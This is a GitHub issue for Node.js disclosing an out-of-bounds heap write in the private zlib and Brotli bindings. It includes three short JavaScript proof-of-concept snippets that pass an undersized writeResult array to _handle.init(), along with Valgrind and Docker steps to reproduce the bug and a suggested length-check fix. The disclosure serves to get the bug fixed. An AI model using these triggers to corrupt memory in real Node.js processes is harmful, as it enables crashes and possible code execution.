Skip to content

Out-of-bounds write in Node.js zlib private apiΒ #61286

@mjwrona

Description

@mjwrona

Version

No response

Platform


Subsystem

zlib

What steps will reproduce the bug?

As discussed in hackerone report because this is not part of nodejs threat model:

Summary: Out-of-bounds write in Node.js zlib and Brotli bindings due to missing validation of writeResult array length in initialization methods, leading to memory corruption and potential remote code execution.

Description: The ZlibContext::Init(), BrotliEncoderContext::Init(), and BrotliDecoderContext::Init() methods in Node.js accept a writeResult Uint32Array parameter without validating its length. The code assumes the array has at least 2 elements but accepts smaller arrays. The shared CompressionStream::UpdateWriteResult() method writes to indices [0] and [1] unconditionally, causing a heap buffer overflow when arrays of insufficient length are provided.

Steps To Reproduce:

  1. Create a PoC file (e.g., poc.js) with the following code for zlib (Deflate):
const zlib = require('zlib');
const trigger = new Uint32Array(1); 

const d = zlib.createDeflate();
d._handle.init(15, 6, 8, 0, trigger, () => {}, undefined);
d._handle.writeSync(0, Buffer.from('x'), 0, 1, Buffer.alloc(32), 0, 32);
// Writes to trigger[1] - out of bounds
  1. Create a PoC file for Brotli compression:
const zlib = require('zlib');
const trigger = new Uint32Array(1);
const params = new Uint32Array(10).fill(-1);

const b = zlib.createBrotliCompress();
b._handle.init(params, trigger, () => {});
b._handle.writeSync(0, Buffer.from('x'), 0, 1, Buffer.alloc(32), 0, 32);
  1. Create a PoC file for Brotli decompression:
const zlib = require('zlib');
const trigger = new Uint32Array(1);
const params = new Uint32Array(10).fill(-1);

const b = zlib.createBrotliDecompress();
b._handle.init(params, trigger, () => {});

const compressed = zlib.brotliCompressSync(Buffer.from('test'));
b._handle.writeSync(0, compressed, 0, compressed.length, Buffer.alloc(32), 0, 32);
  1. Run with Valgrind to confirm the out-of-bounds write:
valgrind node poc.js
valgrind node poc-brotli.js
valgrind node poc-brotli-dec.js

The root cause is in src/node_zlib.cc where UpdateWriteResult() writes to indices without bounds checking:

ctx_.GetAfterWriteOffsets(&write_result_[1], &write_result_[0]);

// src/node_zlib.cc
void UpdateWriteResult() {
  ctx_.GetAfterWriteOffsets(&write_result_[1], &write_result_[0]);  // No bounds check
}

Impact:

This vulnerability allows for:

  • Memory corruption through a controlled 4-byte write past the end of heap allocation
  • Potential remote code execution through heap corruption
  • The vulnerability affects all three compression contexts: zlib, Brotli encoder, and Brotli decoder

Supporting Material/References:

  • Valgrind output confirms the invalid write:
==1== Invalid write of size 4
==1==    at ...: CompressionStream<ZlibContext>::Write<false>(...)
==1==  Address ... is 0 bytes after a block of size 4 alloc'd
  • Docker reproduction:
FROM node:latest
RUN apt-get update && apt-get install -y valgrind
WORKDIR /app
COPY poc.js poc-brotli.js poc-brotli-dec.js ./
CMD ["valgrind", "--error-exitcode=1", "node", "poc.js"]
  • Suggested fix: Add length validation in all Init() methods to ensure the writeResult array has at least 2 elements.

How often does it reproduce? Is there a required condition?

See docker example

What is the expected behavior? Why is that the expected behavior?

Bounds check to prevent OOB write

What do you see instead?

Corrupted heap

Additional information

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions